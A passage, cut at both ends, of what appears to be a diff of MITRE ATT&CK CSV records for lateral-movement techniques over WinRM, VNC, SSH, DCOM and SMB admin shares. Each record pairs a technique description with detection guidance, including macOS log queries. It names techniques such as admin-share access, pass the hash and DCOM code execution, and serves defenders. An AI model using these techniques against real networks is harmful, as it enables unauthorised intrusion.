'Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.', 'url': 'https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2'}, {'source_name': 'MSDN WMI', 'description': 'Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/aa394582.aspx'}, {'source_name': 'Medium Detecting Lateral Movement', 'description': 'French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc'}]",1.1,attack-pattern,attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:29:47.757Z,2021-06-23T19:22:52.870Z,Windows Remote Management,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user. + +WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)",['lateral-movement'],https://attack.mitre.org/techniques/T1021/006,mitre-attack,T1021.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Service: Service Metadata', 'Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation', 'Command: Command Execution']",,"Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).",True,"['User', 'Administrator']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1021/005', 'external_id': 'T1021.005'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/555.html', 'external_id': 'CAPEC-555'}, {'source_name': 'The Remote Framebuffer Protocol', 'description': 'T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.', 'url': 'https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2'}, {'source_name': 'MacOS VNC software for Remote Desktop', 'description': 'Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.', 'url': 'https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac'}, {'source_name': 'VNC Authentication', 'description': 'Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.', 'url': 'https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication'}, {'source_name': 'Hijacking VNC', 'description': 'Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.', 'url': 'https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc'}, {'source_name': 'macOS root VNC login without authentication', 'description': 'Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.', 'url': 'https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication'}, {'source_name': 'VNC Vulnerabilities', 'description': 'Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/'}, {'source_name': 'Offensive Security VNC Authentication Check', 'description': 'Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.', 'url': 'https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/'}, {'source_name': 'Attacking VNC Servers PentestLab', 'description': 'Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.', 'url': 'https://pentestlab.blog/2012/10/30/attacking-vnc-servers/'}, {'source_name': 'Havana authentication bug', 'description': 'Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021.', 'url': 'http://lists.openstack.org/pipermail/openstack/2013-December/004138.html'}, {'source_name': 'Apple Unified Log Analysis Remote Login and Screen Sharing', 'description': 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.', 'url': 'https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins'}, {'source_name': 'Gnome Remote Desktop grd-settings', 'description': 'Pascal Nowack. (n.d.). Retrieved September 21, 2021.', 'url': 'https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207'}, {'source_name': 'Gnome Remote Desktop gschema', 'description': 'Pascal Nowack. (n.d.). Retrieved September 21, 2021.', 'url': 'https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in'}]",1.1,attack-pattern,attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:28:44.950Z,2021-10-07T22:14:25.528Z,VNC,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol) + +VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication) + +Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)",['lateral-movement'],https://attack.mitre.org/techniques/T1021/005,mitre-attack,T1021.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation']",,"Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC. + +On macOS systems log show --predicate 'process = ""screensharingd"" and eventMessage contains ""Authentication:""' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) + +Monitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)",True,,"['Linux', 'macOS', 'Windows']",,CAPEC-555,https://capec.mitre.org/data/definitions/555.html,['VNC server installed and listening for connections.'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1021/004', 'external_id': 'T1021.004'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/555.html', 'external_id': 'CAPEC-555'}, {'source_name': 'Apple Unified Log Analysis Remote Login and Screen Sharing', 'description': 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.', 'url': 'https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins'}]",1.1,attack-pattern,attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:27:15.774Z,2021-10-15T14:15:06.853Z,SSH,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user. -WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014)",attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65,attack-pattern,['lateral-movement'],2020-03-25T12:25:03.014Z,2020-02-11T18:29:47.757Z,"Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement)","['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation', 'Command: Command Execution']",,,"['User', 'Administrator']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1021.005', 'url': 'https://attack.mitre.org/techniques/T1021/005'}, {'external_id': 'CAPEC-555', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/555.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.0,True,https://attack.mitre.org/techniques/T1021/005,mitre-attack,T1021.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,VNC,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). The adversary may then perform actions as the logged-on user. +SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.",['lateral-movement'],https://attack.mitre.org/techniques/T1021/004,mitre-attack,T1021.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation']",,"Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. -VNC is a desktop sharing system that allows users to remotely control another computer’s display by relaying mouse and keyboard inputs over the network. VNC does not necessarily use standard user credentials. Instead, a VNC client and server may be configured with sets of credentials that are used only for VNC connections.",attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b,attack-pattern,['lateral-movement'],2020-03-23T20:41:21.147Z,2020-02-11T18:28:44.950Z,"Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with VNC.","['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation']",,,,"['Linux', 'macOS', 'Windows']",,CAPEC-555,https://capec.mitre.org/data/definitions/555.html,['VNC server installed and listening for connections.'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1021.004', 'url': 'https://attack.mitre.org/techniques/T1021/004'}, {'external_id': 'CAPEC-555', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/555.html'}, {'source_name': 'SSH Secure Shell', 'url': 'https://www.ssh.com/ssh', 'description': 'SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.0,True,https://attack.mitre.org/techniques/T1021/004,mitre-attack,T1021.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,SSH,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user. +On macOS systems log show --predicate 'process = ""sshd""' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = ""ssh"" or eventMessage contains ""ssh""' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) -SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.(Citation: SSH Secure Shell)",attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6,attack-pattern,['lateral-movement'],2020-03-23T23:43:46.977Z,2020-02-11T18:27:15.774Z,"Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.","['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation']",,,,"['Linux', 'macOS']",,CAPEC-555,https://capec.mitre.org/data/definitions/555.html,['An SSH server is configured and running.'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1021.003', 'url': 'https://attack.mitre.org/techniques/T1021/003'}, {'source_name': 'Fireeye Hunting COM June 2019', 'url': 'https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html', 'description': 'Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx', 'description': 'Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.', 'source_name': 'Microsoft COM'}, {'url': 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx', 'description': 'Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.', 'source_name': 'Microsoft Process Wide Com Keys'}, {'url': 'https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1', 'description': 'Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.', 'source_name': 'Microsoft COM ACL'}, {'url': 'https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/', 'description': ""Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017."", 'source_name': 'Enigma Outlook DCOM Lateral Movement Nov 2017'}, {'url': 'https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/', 'description': 'Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.', 'source_name': 'Enigma MMC20 COM Jan 2017'}, {'url': 'https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/', 'description': 'Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.', 'source_name': 'Enigma DCOM Lateral Movement Jan 2017'}, {'url': 'https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/', 'description': 'Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.', 'source_name': 'Enigma Excel DCOM Sept 2017'}, {'url': 'https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom', 'description': 'Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.', 'source_name': 'Cyberreason DCOM DDE Lateral Movement Nov 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.0,True,https://attack.mitre.org/techniques/T1021/003,mitre-attack,T1021.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Distributed Component Object Model,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user. +On Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using.",True,,"['Linux', 'macOS']",,CAPEC-555,https://capec.mitre.org/data/definitions/555.html,['An SSH server is configured and running.'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1021/003', 'external_id': 'T1021.003'}, {'source_name': 'Fireeye Hunting COM June 2019', 'description': 'Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html'}, {'source_name': 'Microsoft COM', 'description': 'Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx'}, {'source_name': 'Microsoft Process Wide Com Keys', 'description': 'Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.', 'url': 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx'}, {'source_name': 'Microsoft COM ACL', 'description': 'Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1'}, {'source_name': 'Enigma Outlook DCOM Lateral Movement Nov 2017', 'description': ""Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017."", 'url': 'https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/'}, {'source_name': 'Enigma MMC20 COM Jan 2017', 'description': 'Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.', 'url': 'https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/'}, {'source_name': 'Enigma DCOM Lateral Movement Jan 2017', 'description': 'Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.', 'url': 'https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/'}, {'source_name': 'Enigma Excel DCOM Sept 2017', 'description': 'Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.', 'url': 'https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/'}, {'source_name': 'Cyberreason DCOM DDE Lateral Movement Nov 2017', 'description': 'Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.', 'url': 'https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom'}, {'source_name': 'MSDN WMI', 'description': 'Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/aa394582.aspx'}]",1.1,attack-pattern,attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:26:36.444Z,2021-06-23T18:58:32.752Z,Distributed Component Object Model,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user. The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM) Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL) -Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.",attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd,attack-pattern,['lateral-movement'],2020-03-23T20:21:03.684Z,2020-02-11T18:26:36.444Z,"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. +Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)",['lateral-movement'],https://attack.mitre.org/techniques/T1021/003,mitre-attack,T1021.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Module: Module Load', 'Process: Process Creation', 'Network Traffic: Network Connection Creation']",,"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. -Monitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.","['Module: Module Load', 'Process: Process Creation', 'Network Traffic: Network Connection Creation']",,,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1021.002', 'url': 'https://attack.mitre.org/techniques/T1021/002'}, {'external_id': 'CAPEC-561', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/561.html'}, {'url': 'https://en.wikipedia.org/wiki/Server_Message_Block', 'description': 'Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.', 'source_name': 'Wikipedia Server Message Block'}, {'url': 'https://technet.microsoft.com/en-us/library/cc787851.aspx', 'description': 'Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.', 'source_name': 'TechNet RPC'}, {'url': 'http://support.microsoft.com/kb/314984', 'description': 'Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.', 'source_name': 'Microsoft Admin Shares'}, {'source_name': 'Lateral Movement Payne', 'description': 'Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.', 'url': 'https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts'}, {'url': 'https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem', 'description': 'Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.', 'source_name': 'Windows Event Forwarding Payne'}, {'description': 'French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96', 'source_name': 'Medium Detecting WMI Persistence'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.0,True,https://attack.mitre.org/techniques/T1021/002,mitre-attack,T1021.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,SMB/Windows Admin Shares,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user. +Monitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).",True,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1021/002', 'external_id': 'T1021.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/561.html', 'external_id': 'CAPEC-561'}, {'source_name': 'Wikipedia Server Message Block', 'description': 'Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.', 'url': 'https://en.wikipedia.org/wiki/Server_Message_Block'}, {'source_name': 'TechNet RPC', 'description': 'Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/cc787851.aspx'}, {'source_name': 'Microsoft Admin Shares', 'description': 'Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.', 'url': 'http://support.microsoft.com/kb/314984'}, {'source_name': 'Lateral Movement Payne', 'description': 'Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.', 'url': 'https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts'}, {'source_name': 'Windows Event Forwarding Payne', 'description': 'Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.', 'url': 'https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem'}, {'source_name': 'Medium Detecting WMI Persistence', 'description': 'French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96'}]",1.0,attack-pattern,attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:25:28.212Z,2020-03-23T21:16:02.812Z,SMB/Windows Admin Shares,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user. SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba. -Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)",attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541,attack-pattern,['lateral-movement'],2020-03-23T21:16:02.812Z,2020-02-11T18:25:28.212Z,"Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)","['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Logon Session: 